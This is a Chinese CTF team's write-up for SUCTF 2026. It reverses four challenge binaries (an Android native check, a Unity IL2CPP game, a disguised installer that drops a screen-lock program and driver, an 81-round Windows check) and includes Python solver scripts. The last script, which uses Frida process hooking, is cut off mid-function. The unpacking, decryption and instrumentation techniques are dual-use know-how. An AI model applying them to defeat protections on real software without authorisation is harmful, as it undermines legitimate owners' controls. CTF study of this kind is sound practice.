本次 SUCTF 2026,我们XMCVE-Polaris战队排名第7。

排名 队伍 总分
1 F1ux 16940
2 dda_com 13594
3 infobahn 12711
4 abc 12649
5 0psu3 12499
6 Arr3stY0u 12293
7 XMCVE-Polaris 11932
8 L 11910
9 lz雷泽 11757
10 Rainbow7 10847

RE

SU_flumel

解题过程

1. 样本识别

目标样本为 new_apk/unpacked/lib/x86_64/libjunk.so

核心校验函数为导出符号 qk9v,地址 0x4490

Snipaste_2026-03-16_06-38-38

函数入口处存在基础参数约束:

  • n36 == 36
  • n256 >= 256
  • a1 != NULL
  • a3 != NULL

运行时日志中可见有效调用样本:

  • work_tmp/qk9v_state_watch.log359n36=36 n256=2501101
  • 360a1=3d2716d603fbccf4...f7a9e17f

2. 入口定位

qk9v 末尾比较段位于 0x5f60 附近

Snipaste_2026-03-16_06-40-07

关键指令证据在 analysis/new_qk9v_5f60_6068.txt

  • 0x5f73: cmp $0x30,%rax,要求缓冲区长度为 0x30(48 字节)
  • 0x5f8e: 与 0x1ff0 常量块异或
  • 0x5fae: 与 0x1fd0 常量块异或
  • 0x5fbb: 与 0x2010 常量块异或
  • 0x5fc3: 读取偏移 0x2f 字节并与 0xcf 比较
  • 0x604e: sete 产出最终真假

该段逻辑等价于“48 字节密文逐段比对”。

3. 逻辑还原

Snipaste_2026-03-16_06-50-10

比较目标由四段 rodata + 固定字节组成,可还原为 48 字节 targetCT

  • CT[0:16] = *(0x1ff0)
  • CT[16:32] = *(0x2000)
  • CT[32] = 0x60
  • CT[33] = 0xF9
  • CT[34:38] = *(0x1fd0)[0:4]
  • CT[38] = 0x00
  • CT[39:47] = *(0x2010)[0:8]
  • CT[47] = 0xCF

得到:

569670de6d7e270e7e27a189cec7082ba1883f69796631adbd7c6d0fea9f281d60f9d1277f1b007c36d631727753edcf

qk9v 前段会基于 cache.snap.bundle 计算哈希,再与两段 16 字节常量混合生成 key/iv。

关键常量:

  • 0x1fe0: youknowwhatImean
  • 0x2020: itsallintheflow!

4. 数据提取

key/iv 生成公式可按循环还原:

  • key[i] = s1[i] XOR ((fnv32 + i) & 0xff) XOR bundle[(11 + 17*i) % n]
  • iv[i] = s2[i] XOR ((crc_byte + 3*i) & 0xff) XOR bundle[(7 + 29*i) % n]

其中:

  • fnv32bundle 的 FNV-1a 32 位结果
  • crc_byte = ((~crc_state) >> 8) & 0xff

解密 targetCT

AES-CBC-DEC(targetCT, key, iv) -> targetA1 || PKCS7

得到:

  • targetA1 = 2f3314c304c1fa86dbd85e331093d5959d7eae4bc2a903315194e53c9ca07babd8d8d743

运行时已知映射(输入 A*36):

  • input_A = 41 * 36
  • a1_A = 3d2716d603fbccf4aba8401661bca78ba50f9a55e88672074fbd970fb0d20fb5f7a9e17f

输入侧流可写为:

stream = input_A XOR a1_A
flag   = targetA1 XOR stream

6. 解题脚本

#!/usr/bin/env python3
"""
Solve SU_flumel (attachment2).

Repro chain:
1) Derive key/iv from cache.snap.bundle + new libjunk.so constants.
2) Rebuild 48-byte target ciphertext from qk9v compare constants.
3) AES-CBC decrypt target ciphertext to get required 36-byte a1.
4) Use known probe mapping (input='A'*36 -> observed a1) to recover flag.
"""

from pathlib import Path
from Crypto.Cipher import AES

def fnv1a32(data: bytes) -> int:
    h = 0x811C9DC5
    for b in data:
        h = ((h ^ b) * 0x01000193) & 0xFFFFFFFF
    return h

def crc32_byte_for_iv(data: bytes) -> int:
    table = []
    for i in range(256):
        c = i
        for _ in range(8):
            c = (0xEDB88320 ^ (c >> 1)) if (c & 1) else (c >> 1)
        table.append(c & 0xFFFFFFFF)

    state = 0xFFFFFFFF
    i = 0
    lim = len(data) & ~1
    while i < lim:
        t = table[(state ^ data[i]) & 0xFF] ^ (state >> 8)
        state = table[(t ^ data[i + 1]) & 0xFF] ^ (t >> 8)
        i += 2
    if len(data) & 1:
        state = table[(state ^ data[-1]) & 0xFF] ^ (state >> 8)

    return ((~state) >> 8) & 0xFF

def derive_key_iv(bundle: bytes, lib: bytes) -> tuple[bytes, bytes]:
    n = len(bundle)
    h = fnv1a32(bundle)
    crc_byte = crc32_byte_for_iv(bundle)
    s1 = lib[0x1FE0:0x1FF0]  # "youknowwhatImean"
    s2 = lib[0x2020:0x2030]  # "itsallintheflow!"

    key = bytearray(16)
    iv = bytearray(16)
    for i in range(16):
        idx1 = (11 + 17 * i) % n
        idx2 = (7 + 29 * i) % n
        key[i] = s1[i] ^ ((h + i) & 0xFF) ^ bundle[idx1]
        iv[i] = s2[i] ^ ((crc_byte + 3 * i) & 0xFF) ^ bundle[idx2]

    return bytes(key), bytes(iv)

def build_target_ct(lib: bytes) -> bytes:
    ct = bytearray(48)
    ct[0:16] = lib[0x1FF0:0x2000]
    ct[16:32] = lib[0x2000:0x2010]
    ct[32] = 0x60
    ct[33] = 0xF9
    ct[34:38] = lib[0x1FD0:0x1FD4]
    ct[38] = 0x00
    ct[39:47] = lib[0x2010:0x2018]
    ct[47] = 0xCF
    return bytes(ct)

def pkcs7_unpad(data: bytes) -> bytes:
    pad = data[-1]
    if pad < 1 or pad > 16 or data[-pad:] != bytes([pad]) * pad:
        raise ValueError("invalid PKCS7 padding")
    return data[:-pad]

def recover_flag_bytes(target_a1: bytes) -> bytes:
    # From historical runtime logs:
    # input = "A"*36
    # observed a1 = 3d2716d603fbccf4aba8401661bca78ba50f9a55e88672074fbd970fb0d20fb5f7a9e17f
    known_input = b"A" * 36
    known_a1 = bytes.fromhex(
        "3d2716d603fbccf4aba8401661bca78ba50f9a55e88672074fbd970fb0d20fb5f7a9e17f"
    )
    stream = bytes(a ^ b for a, b in zip(known_input, known_a1))
    return bytes(a ^ b for a, b in zip(target_a1, stream))

def main() -> None:
    root = Path(__file__).resolve().parents[1]
    bundle_path = root / "new_apk/unpacked/assets/flutter_assets/bundles/cache.snap.bundle"
    lib_path = root / "new_apk/unpacked/lib/x86_64/libjunk.so"

    bundle = bundle_path.read_bytes()
    lib = lib_path.read_bytes()

    key, iv = derive_key_iv(bundle, lib)
    target_ct = build_target_ct(lib)
    pt = AES.new(key, AES.MODE_CBC, iv=iv).decrypt(target_ct)
    target_a1 = pkcs7_unpad(pt)
    flag = recover_flag_bytes(target_a1)

    print(f"key      = {key.hex()}")
    print(f"iv       = {iv.hex()}")
    print(f"targetCT = {target_ct.hex()}")
    print(f"targetA1 = {target_a1.hex()}")
    print(f"flag     = {flag.decode('ascii')}")

if __name__ == "__main__":
    main()

Flag

SUCTF{w311_d0n3_y0u_kn0w_h3rm35_n0w}

SU_easygal

解题过程

1. 样本定位与类型判断

题目目录在 D:\CTF\题目\赛题\SUCTF2\SU_easygal\app,入口可执行文件是 Unity IL2CPP 程序:

  • esaygal.exe
  • GameAssembly.dll
  • esaygal_Data\global-metadata.dat

先确认整体文件结构:

Get-ChildItem -Force D:\CTF\题目\赛题\SUCTF2\SU_easygal
Get-ChildItem -Force D:\CTF\题目\赛题\SUCTF2\SU_easygal\app

2. 抽剧情配置

这题关键配置(权重上限、真结局目标值、节点数据)在 resources.assets 里,里面嵌了 JSON。

通过 brace matching 可以稳定抽出对象,拿到:

  • maxWeight = 132
  • trueEndingValue = 322
  • verificationMethod = "DP count exact optimum paths"
  • nodeCount = 60

可直接运行:

@'
import json, pathlib
p = pathlib.Path(r"SU_easygal\app\esaygal_Data\resources.assets")
raw = p.read_bytes()
pos = raw.find(b'"meta"')
start = raw.rfind(b"{", 0, pos)
depth = 0
in_str = False
esc = False
end = -1
i = start
while i < len(raw):
    c = raw[i]
    if in_str:
        if esc:
            esc = False
        elif c == 92:
            esc = True
        elif c == 34:
            in_str = False
    else:
        if c == 34:
            in_str = True
        elif c == 123:
            depth += 1
        elif c == 125:
            depth -= 1
            if depth == 0:
                end = i + 1
                break
    i += 1
obj = json.loads(raw[start:end].decode("utf-8"))
print(obj["meta"])
print("node_count =", len(obj["nodes"]))
print("node_1 =", obj["nodes"][0]["choices"])
'@ | python -

Snipaste_2026-03-15_12-37-20


3. 定位关键函数与结束判定逻辑

先在 dump.cs 里定位关键符号:

rg -n "BuildTrueEndingFlag|EvaluateEnding|SetProgress|maxWeight|trueEndingValue|verificationMethod" D:\CTF\题目\赛题\SUCTF2\SU_easygal\analysis\il2cppdumper\dump.cs

会看到:

  • FlagUtility.BuildTrueEndingFlag(...)
  • GameManager.EvaluateEnding(...)
  • GameStateStore.SetProgress(...)

03-dump-symbols

再从 script.json 对地址:

@'
import json, pathlib
p = pathlib.Path(r"SU_easygal\analysis\il2cppdumper\script.json")
obj = json.loads(p.read_text(encoding="utf-8"))
for target in ["FlagUtility$$BuildTrueEndingFlag", "GameManager$$EvaluateEnding", "GameStateStore$$SetProgress"]:
    hits = [x for x in obj["ScriptMethod"] if x["Name"] == target]
    for h in hits:
        a = int(h["Address"])
        print(target, "=>", hex(a), h["Signature"])
'@ | python -

其中 GameManager$$EvaluateEnding 地址是 0x66b4b0,与 analysis\gm_eval_pdr.txt 对应。

对照 gm_eval_pdr.txt 的关键分支:

rg -n -F -e "cmp dword [rcx + 0x44]" -e "cmp dword [rcx + 0x48]" -e "mov edx, 3" -e "inc edx" SU_easygal\analysis\gm_eval_pdr.txt

核心含义可还原为:

  1. currentWeight > maxWeight -> Failure
  2. 否则比较 currentValuetrueEndingValue
  3. 相等 -> True,不等 -> Normal

4. 用 DP 求 60 节点唯一真结局路线

每个节点必须二选一(A/B),每个选项都有 (weight, value)

目标是满足真结局判定:weight <= 132value == 322

按题内提示 verificationMethod = DP count exact optimum paths,对 60 节点做动态规划并统计最优路径条数。

最终得到唯一路线:

BBABAABAAAAAAABBABAAAABBBBABBBBBBBBAAABAAABABAAABBBABBBBAAAB

对应累积值:

  • weight = 132
  • value = 322

5. 还原 BuildTrueEndingFlag

stringliteral.json 里有格式串:SUCTF{{{0}}}

结合函数行为可还原为:

  1. 收集 60 次选择得到 markers
  2. 直接拼接为一个字符串(无分隔符)
  3. 计算 md5(marker_concat)
  4. 套格式 SUCTF{md5}

即:

flag = "SUCTF{" + md5("".join(markers)).hexdigest() + "}"

计算结果:

SUCTF{92d1c2c3f6e55fabbc3a6ffde57c7341}

解题脚本

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import hashlib
import json
from dataclasses import dataclass
from pathlib import Path
from typing import Dict, List, Tuple

@dataclass(frozen=True)
class Choice:
    pick: str
    weight: int
    value: int
    flag: str
    marker: str

@dataclass(frozen=True)
class Node:
    node_id: str
    choice_a: Choice
    choice_b: Choice

def extract_story_json(resources_path: Path) -> Dict:
    raw = resources_path.read_bytes()
    marker = b'"meta"'
    pos = raw.find(marker)
    if pos < 0:
        raise RuntimeError('Cannot find JSON marker "meta" in resources.assets')

    start = raw.rfind(b"{", 0, pos)
    if start < 0:
        raise RuntimeError("Cannot locate JSON start brace")

    depth = 0
    in_string = False
    escaping = False
    end = -1

    i = start
    while i < len(raw):
        ch = raw[i]
        if in_string:
            if escaping:
                escaping = False
            elif ch == 0x5C:
                escaping = True
            elif ch == 0x22:
                in_string = False
        else:
            if ch == 0x22:
                in_string = True
            elif ch == 0x7B:
                depth += 1
            elif ch == 0x7D:
                depth -= 1
                if depth == 0:
                    end = i + 1
                    break
        i += 1

    if end < 0:
        raise RuntimeError("Cannot locate JSON end brace")

    return json.loads(raw[start:end].decode("utf-8"))

def load_nodes(story: Dict) -> List[Node]:
    nodes: List[Node] = []
    for item in story["nodes"]:
        c0, c1 = item["choices"]
        nodes.append(
            Node(
                node_id=item["id"],
                choice_a=Choice(
                    pick="A",
                    weight=int(c0["weight"]),
                    value=int(c0["value"]),
                    flag=str(c0["flag"]),
                    marker=str(c0["marker"]),
                ),
                choice_b=Choice(
                    pick="B",
                    weight=int(c1["weight"]),
                    value=int(c1["value"]),
                    flag=str(c1["flag"]),
                    marker=str(c1["marker"]),
                ),
            )
        )
    return nodes

def solve_optimal_paths(nodes: List[Node], max_weight: int) -> List[Tuple[int, int, str]]:
    neg_inf = -10**18
    dp: List[Tuple[int, int, str]] = [(neg_inf, 0, "") for _ in range(max_weight + 1)]
    dp[0] = (0, 1, "")

    for node in nodes:
        next_dp: List[Tuple[int, int, str]] = [(neg_inf, 0, "") for _ in range(max_weight + 1)]
        for w, (best_val, count, path) in enumerate(dp):
            if count == 0:
                continue
            for choice in (node.choice_a, node.choice_b):
                nw = w + choice.weight
                if nw > max_weight:
                    continue
                nv = best_val + choice.value
                old_val, old_count, old_path = next_dp[nw]
                if nv > old_val:
                    next_dp[nw] = (nv, count, path + choice.pick)
                elif nv == old_val:
                    next_dp[nw] = (old_val, old_count + count, old_path)
        dp = next_dp
    return dp

def apply_route(nodes: List[Node], route: str):
    rows = []
    total_weight = 0
    total_value = 0
    flags: List[str] = []
    markers: List[str] = []

    for idx, (node, pick) in enumerate(zip(nodes, route), start=1):
        choice = node.choice_a if pick == "A" else node.choice_b
        total_weight += choice.weight
        total_value += choice.value
        flags.append(choice.flag)
        markers.append(choice.marker)
        rows.append(
            (
                idx,
                node.node_id,
                pick,
                choice.weight,
                choice.value,
                total_weight,
                total_value,
                choice.flag,
                choice.marker,
            )
        )
    return rows, total_weight, total_value, flags, markers

def main() -> None:
    default_root = Path(__file__).resolve().parents[1]
    parser = argparse.ArgumentParser(description="Solve SU_easygal and rebuild final flag")
    parser.add_argument(
        "--resources",
        type=Path,
        default=default_root / "app" / "esaygal_Data" / "resources.assets",
        help="Path to resources.assets",
    )
    parser.add_argument(
        "--hide-steps",
        action="store_true",
        help="Hide full per-node step table",
    )
    args = parser.parse_args()

    story = extract_story_json(args.resources)
    meta = story["meta"]
    nodes = load_nodes(story)

    max_weight = int(meta["maxWeight"])
    true_ending_value = int(meta["trueEndingValue"])
    verification_method = str(meta.get("verificationMethod", ""))

    dp = solve_optimal_paths(nodes, max_weight)
    best_value = max(v for v, c, _ in dp if c > 0)

    true_states = [(w, c, p) for w, (v, c, p) in enumerate(dp) if c > 0 and v == true_ending_value]
    if not true_states:
        raise RuntimeError("No path reaches trueEndingValue under maxWeight")

    true_path_count = sum(c for _, c, _ in true_states)
    chosen_weight, chosen_count, chosen_route = true_states[0]
    if true_path_count > 1:
        chosen_weight, chosen_count, chosen_route = sorted(true_states, key=lambda x: x[0])[0]

    rows, final_weight, final_value, flags, markers = apply_route(nodes, chosen_route)
    marker_concat = "".join(markers)
    digest = hashlib.md5(marker_concat.encode("utf-8")).hexdigest()
    flag = f"SUCTF{{{digest}}}"

    print("=== SU_easygal Solver ===")
    print(f"resources: {args.resources}")
    print(f"nodeCount: {len(nodes)}")
    print(f"maxWeight: {max_weight}")
    print(f"trueEndingValue: {true_ending_value}")
    print(f"verificationMethod: {verification_method}")
    print(f"bestValueUnderWeight: {best_value}")
    print(f"states@trueEndingValue: {[(w, c) for w, c, _ in true_states]}")
    print(f"truePathCount: {true_path_count}")
    print(f"chosenRouteWeight: {chosen_weight}")
    print(f"chosenRoute: {chosen_route}")
    print(f"finalWeight/finalValue: {final_weight}/{final_value}")
    print(f"markerConcatLength: {len(marker_concat)}")
    print(f"md5(markerConcat): {digest}")
    print(f"flag: {flag}")

    if not args.hide_steps:
        print("\nidx node pick weight value cum_weight cum_value flag marker")
        for row in rows:
            print(
                f"{row[0]:02d} {row[1]:>3} {row[2]} "
                f"{row[3]:>2} {row[4]:>2} {row[5]:>3} {row[6]:>3} "
                f"{row[7]} {row[8]}"
            )

    print("\nroute_for_submit =", chosen_route)
    print("markers_concat   =", marker_concat)
    print("flags_joined     =", ",".join(flags))

if __name__ == "__main__":
    main()

SU_Lock

解题过程

1. 安装包初步定位

拿到文件 Everything_Setup_1.4.1.exe 先做壳层识别,确认是 Inno Setup。

Snipaste_2026-03-14_18-27-34

把脚本拆出来后,能看到 Locksetup.exe[Files][Run] 都带了 ShouldDseployMalware 条件,这一步基本可以判断:主程序是伪装,真正校验在二阶段。

2. 提取安装包密码并完整解包

继续看 CompiledCode.bin,能抓到几组关键符号:

Snipaste_2026-03-14_18-28-29

  • ISTESTMODEENABLED
  • ISAVRUNNING
  • SHOULDDEPLOYMALWARE
  • suctf

其中 suctf 就是 Inno 解包密码,使用下面命令可以拿到完整文件:

innounp -x -m -psuctf Everything_Setup_1.4.1.exe

解包后关键二阶段样本就是 Locksetup.exe

3. Locksetup.exe 二阶段解密

Locksetup.exe 是 Rust 程序,字符串里能看到 SUCTF2026,顺着引用可还原出 RC4 风格解密流程。

它会解出两个 PE:

  • screenlock.exe(用户态)
  • encryption.sys(驱动态)

到这里校验链条已经明确:用户态变换 + 驱动态最终比对。

4. screenlock.exe 用户态校验逻辑

用户输入先经过 GetWindowTextW 读取并转 UTF-8,然后做一个硬长度判断:必须是 0x28(40 字节)。

通过后会把 40 字节拆成 10 个 dword,执行 11 轮 TEA/XXTEA 风格变换,最后调用 DeviceIoControl 把结果送到驱动校验。

也就是说,想拿到明文输入,核心是把驱动中的目标值逆回去。

5. encryption.sys 驱动与 VM 逻辑

Snipaste_2026-03-14_18-31-36

驱动 DeviceControlDispatch 里有两个关键 IOCTL:

  • 0x222004:返回变换参数
  • 0x222008:校验 10 个 dword 是否匹配

内部不是直接写死比较,而是走一个小 VM 解释器 ExecuteVmScript,指令语义如下:

Snipaste_2026-03-14_18-32-44

  • 0x10:寄存器写立即数
  • 0x20:寄存器写回输出缓冲
  • 0x30:从输入缓冲读 dword
  • 0x40:比较寄存器
  • 0xFF:成功返回

脚本 1 运行后可得:

  • delta = 0x9E376A8E
  • key = [0xDEADBEEF, 0xCAFEBABE, 0x1337C0DE, 0x0BADF00D]

脚本 2 可提取 10 个目标常量:

8DA1E7B1 CAA432E5 6EEC27BC EFC12B53 FA7505C2 54AC88A6 2F96AD99 77741A15 3E8673C1 C2B9F282

6. 逆运算还原输入

把用户态 11 轮变换按相反顺序做逆运算,输入用上面 10 个目标常量,最终恢复到 40 字节明文`

Snipaste_2026-03-14_11-58-49

解题脚本

import struct

def u32(x):
    return x & 0xFFFFFFFF

def mx(y, z, sumv, k):
    return u32(
        (((z << 3) & 0xFFFFFFFF) ^ (y >> 4))
        + ((z >> 2) ^ ((y << 5) & 0xFFFFFFFF))
        ^ ((y ^ k) + (z ^ sumv))
    )

def xxtea_like_decrypt(words, delta, key_words, rounds=11):
    v = words[:]
    n = len(v)
    sumv = u32(delta * rounds)
    for _ in range(rounds):
        e = (sumv >> 2) & 3
        y = v[n - 2]
        z = v[0]
        v[n - 1] = u32(v[n - 1] - mx(y, z, sumv, key_words[((n - 1) & 3) ^ e]))
        for p in range(n - 2, -1, -1):
            y = v[p - 1] if p > 0 else v[n - 1]
            z = v[p + 1]
            v[p] = u32(v[p] - mx(y, z, sumv, key_words[(p & 3) ^ e]))
        sumv = u32(sumv - delta)
    return v

def main():
    delta = 0x9E376A8E
    key_words = [0xDEADBEEF, 0xCAFEBABE, 0x1337C0DE, 0x0BADF00D]
    cipher_words = [
        0x8DA1E7B1, 0xCAA432E5, 0x6EEC27BC, 0xEFC12B53, 0xFA7505C2,
        0x54AC88A6, 0x2F96AD99, 0x77741A15, 0x3E8673C1, 0xC2B9F282,
    ]

    plain_words = xxtea_like_decrypt(cipher_words, delta, key_words, rounds=11)
    raw = b"".join(struct.pack("<I", w) for w in plain_words)
    flag = raw.decode("utf-8")

    print(f"delta       = 0x{delta:08X}")
    print("key_words   =", [f"0x{x:08X}" for x in key_words])
    print("cipher_words=", [f"0x{x:08X}" for x in cipher_words])
    print("Recovered flag:", flag)

if __name__ == "__main__":
    main()

Flag

SUCTF{SJCMA23-AX8MQ3IU-8UHCSO90-QCM1S0L}

SU_West

解题过程

1. 文件与题型确认

题目核心文件是:

  • SU_West\SU_West\Journey_to_the_West.exe

样本是 x64 PE。程序没有外部网络依赖,核心是本地 81 轮校验。

基线测试(81 个 1000000000000000):

all inputs collected, starting verification...
incorrect at round 1 (layer 1)

这说明:

  • 输入格式是“81 个字段”;
  • 每轮有独立 layer;
  • 失败时会回报 round 和 layer。

2. 主流程定位

Snipaste_2026-03-15_12-05-18

  • main0x140001000
  • 收集输入:sub_1400012C00x1400012C0
  • 总校验:sub_1400013B00x1400013B0

main 的核心逻辑很直白:

Snipaste_2026-03-15_12-09-52

  1. 调反调试检查;
  2. sub_1400012C0 收 81 个输入;
  3. sub_1400013B0 校验;
  4. 成功打印 correct,失败打印 incorrect at round %zu (layer %u)

这几个字符串可直接做 xref 定位:

  • "all inputs collected, starting verification..."
  • "incorrect at round %zu (layer %u)\n"
  • "correct"

3. 输入格式限制

格式检查函数:sub_1400130700x140013070)。

Snipaste_2026-03-15_12-10-50

可见约束:

  • 只能是数字字符;
  • 长度必须是 16;
  • 数值范围:
    • 最小 100000000000000010^15
    • 最大 999999999999999910^16 - 1

范围判断代码证据:

  • (v7 - 1000000000000000) < 0x1FF973CAFA8000

4. 81 轮调度机制

总校验函数 sub_1400013B0 里有两张关键表:

Snipaste_2026-03-15_12-11-31

  • 轮次到 layer 的映射:byte_14003DEE0
  • layer 到函数指针的映射:funcs_140001499(实际表地址 0x14002A480

调度方式是:

  • i 轮取 layer = byte_14003DEE0[i]
  • funcs[layer](state, input[i])

所以不是“round i 调第 i 个函数”,而是“round i 先查 layer,再按 layer 查函数”。

样例(脚本提取):

round1: layer=1,  func=0x140001eb0, q19=0x53d2b3440e4c2bec
round2: layer=76, func=0x140011130, q19=0xf0c771493081d830
round3: layer=32, func=0x140008220, q19=0x607fa19fb360e244
round81: layer=21, func=0x140005e70, q19=0x8910c6e04df7341d

5. 单层函数结构与可逆点

任意一层函数结构基本一致。

用 layer 1 的 sub_140001EB0 和 layer 81 的 sub_1400120E0 做对照最清楚。

共性:

  1. 先做若干状态混淆(sub_140012480 / sub_140012630 / sub_140012780);
  2. 再算一个 64 位值(sub_140012940);
  3. 与层内常量比较(本层表里 q[19]);
  4. 通过后再更新状态并进入下一轮。

证据点:

  • sub_140001EB0sub_140012940(...) == 0x53D2B3440E4C2BEC
  • sub_1400120E0sub_140012940(...) == 0xD8E9676274C9F4CD

这说明目标值不是运行时随机数,而是层表常量,可静态提取。


6. 解法:逐轮逆推输入

  1. 每层目标常量取 q[19]
  2. sub_140012940、逆 sub_140012630、逆 sub_140012480,得到本轮输入;
  3. 下一轮逆推需要新的状态 s0,用 Frida 在每轮函数入口读 state[0]
  4. 81 轮循环,得到完整 argv 串。
#!/usr/bin/env python3
import argparse
import struct
import subprocess
import sys
import time

import frida
import pefile

MASK64 = (1 << 64) - 1
MASK32 = (1 << 32) - 1

MIN_INPUT = 10**15
MAX_INPUT = 10**16 - 1

# Static addresses from IDA (image base: 0x140000000)
ADDR_LAYER_ORDER = 0x14003DEE0
ADDR_FUNC_TABLE = 0x14002A480
ADDR_TABLE_BASE = 0x14002A710
ROUND_COUNT = 81
TABLE_STRIDE = 0xC0

def rol64(x: int, r: int) -> int:
    r &= 63
    x &= MASK64
    if r == 0:
        return x
    return ((x << r) | (x >> (64 - r))) & MASK64

def ror64(x: int, r: int) -> int:
    r &= 63
    x &= MASK64
    if r == 0:
        return x
    return ((x >> r) | (x << (64 - r))) & MASK64

def rol32(x: int, r: int) -> int:
    r &= 31
    x &= MASK32
    if r == 0:
        return x
    return ((x << r) | (x >> (32 - r))) & MASK32

def ror32(x: int, r: int) -> int:
    r &= 31
    x &= MASK32
    if r == 0:
        return x
    return ((x >> r) | (x << (32 - r))) & MASK32

class WestSolver:
    def __init__(self, exe_path: str):
        self.exe_path = exe_path
        self.pe = pefile.PE(exe_path, fast_load=False)
        self.base = self.pe.OPTIONAL_HEADER.ImageBase
        self.image = self.pe.get_memory_mapped_image()

        self.layer_order = [self.read_u8(ADDR_LAYER_ORDER + i) for i in range(ROUND_COUNT)]
        self.func_ptrs = [self.read_u64(ADDR_FUNC_TABLE + 8 * i) for i in range(ROUND_COUNT)]
        self.func_offsets = [addr - self.base for addr in self.func_ptrs]

        # Initial state from sub_1400013B0
        self.initial_s0 = 0x669E1E61279D826E

    def read_bytes(self, va: int, size: int) -> bytes:
        rva = va - self.base
        return self.image[rva : rva + size]

    def read_u8(self, va: int) -> int:
        return self.read_bytes(va, 1)[0]

    def read_u64(self, va: int) -> int:
        return struct.unpack("<Q", self.read_bytes(va, 8))[0]

    def table_q(self, layer: int):
        t = ADDR_TABLE_BASE + layer * TABLE_STRIDE
        return [self.read_u64(t + i * 8) for i in range(24)]

    def table_b(self, layer: int):
        t = ADDR_TABLE_BASE + layer * TABLE_STRIDE
        return [self.read_u8(t + 160 + i) for i in range(4)]  # b160,b161,b162,b163

    def inv_sub_12940(self, outv: int, round_idx: int, q, b160, b161, b162, b163) -> int:
        cur = (
            outv
            ^ q[10]
            ^ ((0x94D049BB133111EB - ((0x6B2FB644ECCEEE15 * round_idx) & MASK64)) & MASK64)
        ) & MASK64

        v4 = b163
        v5 = (0xA24BAED4963EE407 - ((0x5DB4512B69C11BF9 * round_idx) & MASK64)) & MASK64
        v6 = b162
        v7 = v6 + round_idx + 1
        v8 = v6 + round_idx
        v10 = v4
        v22 = v4 + 1
        v23_const = v6 + 1
        v27 = v5

        params = []
        rounds = ((v4 + round_idx) & 1) + 3
        for v9 in range(rounds):
            v12 = -63 * (v6 // 0x3F)
            v13 = q[((v9 + v4) & 3) + 11] ^ q[v9 + 1] ^ q[7] ^ v5 ^ q[8]
            v14 = v7 - 63 * (v8 // 0x3F)
            v15 = rol64(q[9], v9 + v22 - 63 * (v10 // 0x3F))
            v16 = ((q[0] + v13) & MASK64) ^ rol64(q[5], v9 + v23_const + v12)
            params.append((v13, v14, v15, v16))

            v6 += 1
            v7 += 3
            v8 += 3
            v5 = (v5 + v27) & MASK64
            v10 += 1

        for v13, v14, v15, v16 in reversed(params):
            cur = (ror64((cur - v16) & MASK64, v14) ^ v15 ^ v13) & MASK64
        return cur

    def inv_sub_12630(self, v8_target: int, s0: int, round_idx: int, layer: int, q, b160, b161, b162, b163) -> int:
        v18 = round_idx + layer + b163 + 1
        v19 = b163
        v6 = round_idx + v19
        v8c = 0xBF58476D1CE4E5B9
        v11 = layer + v6
        v12 = (0x94D049BB133111EB - ((0x6B2FB644ECCEEE15 * round_idx) & MASK64)) & MASK64
        v14 = v12

        params = []
        for v13 in range(b160 + 2):
            v16 = s0 ^ v8c ^ q[(v13 & 3) + 11]
            k = q[((v13 + v19) & 3) + 15] ^ v14
            sh = v18 + v13 - 63 * (v11 // 0x3F)
            params.append((v16, k, sh))

            v11 += 1
            v14 = (v14 + v12) & MASK64
            v8c = (v8c - 0x40A7B892E31B1A47) & MASK64

        cur = v8_target
        for v16, k, sh in reversed(params):
            cur = (ror64((cur - v16) & MASK64, sh) ^ k) & MASK64

        const_term = (
            s0
            ^ q[5]
            ^ ((0xA24BAED4963EE407 * layer) & MASK64)
            ^ ((0x9E3779B97F4A7C15 - ((0x61C8864680B583EB * round_idx) & MASK64)) & MASK64)
        )
        return cur ^ const_term

    def inv_sub_12480(self, v7_target: int, s0: int, round_idx: int, layer: int, q, b160, b161, b162, b163) -> int:
        ch = (v7_target >> 32) & MASK32
        cl = v7_target & MASK32

        v6 = 0xA24BAED4963EE407
        v8x = b162
        v20 = v8x + round_idx + 7
        v9x = v8x + round_idx + 6
        v10x = v8x + round_idx
        v19 = round_idx + v8x + 1
        v23 = (
            q[0]
            ^ ((0xD6E8FEB86659FD93 * layer) & MASK64)
            ^ s0
            ^ ((0x9E3779B97F4A7C15 - ((0x61C8864680B583EB * round_idx) & MASK64)) & MASK64)
        )

        params = []
        for v11 in range(b161 + 6):
            v14 = 31 * (v10x // 0x1F)
            v15 = v20 - 31 * ((v9x - v14) // 0x1F) - v14
            v16 = q[(v11 & 3) + 1] ^ v6 ^ v23
            s1 = v11 + v19 - v14
            s2 = v11 + v15
            params.append((v16, s1, s2))

            v6 = (v6 - 0x5DB4512B69C11BF9) & MASK64
            v9x += 1
            v10x += 1

        for v16, s1, s2 in reversed(params):
            old_l = ch
            lo = v16 & MASK32
            hi = (v16 >> 32) & MASK32
            g = ((rol32(lo ^ old_l, s1) + ((old_l ^ hi) & MASK32)) & MASK32) ^ (
                (lo + ror32(old_l, s2)) & MASK32
            )
            old_h = cl ^ g
            ch, cl = old_h & MASK32, old_l & MASK32

        init = ((ch << 32) | cl) & MASK64
        return init ^ q[5]

    def solve_round(self, round_idx: int, s0: int) -> int:
        layer = self.layer_order[round_idx]
        q = self.table_q(layer)
        b160, b161, b162, b163 = self.table_b(layer)
        target = q[19]

        v8 = self.inv_sub_12940(target, round_idx, q, b160, b161, b162, b163)
        v7 = self.inv_sub_12630(v8, s0, round_idx, layer, q, b160, b161, b162, b163)
        value = self.inv_sub_12480(v7, s0, round_idx, layer, q, b160, b161, b162, b163)
        return value

    def capture_s0_for_round(self, round_idx: int, values) -> int:
        arg = ",".join(f"{x:016d}" for x in values)
        offsets_js = ",".join(hex(x) for x in self.func_offsets)

        script_source = f"""
const base = Process.getModuleByName('Journey_to_the_West.exe').base;
const targetRound = {round_idx};
const offs = [{offsets_js}];
let sent = false;
for (const off of offs) {{
  Interceptor.attach(base.add(off), {{
    onEnter(args) {{
      if (sent) return;
      const st = args[0];
      const r = parseInt(st.add(8).readU64().toString());
      if (r === targetRound) {{
        const s0 = st.readU64().toString();
        send({{ s0: s0 }});
        sent = true;
      }}
    }}
  }});
}}
"""

        device = frida.get_local_device()
        pid = device.spawn([self.exe_path, arg])
        session = device.attach(pid)

        got = {"s0": None}

        def on_message(message, _data):
            if message.get("type") == "send":
                payload = message.get("payload", {})
                if "s0" in payload:
                    got["s0"] = int(payload["s0"])

        script = session.create_script(script_source)
        script.on("message", on_message)
        script.load()
        device.resume(pid)

        deadline = time.time() + 6.0
        while time.time() < deadline and got["s0"] is None:
            time.sleep(0.02)

        try:
            device.kill(pid)
        except frida.ProcessNotFoundError:
            pass
        session.detach()

        if got["s0"] is None:
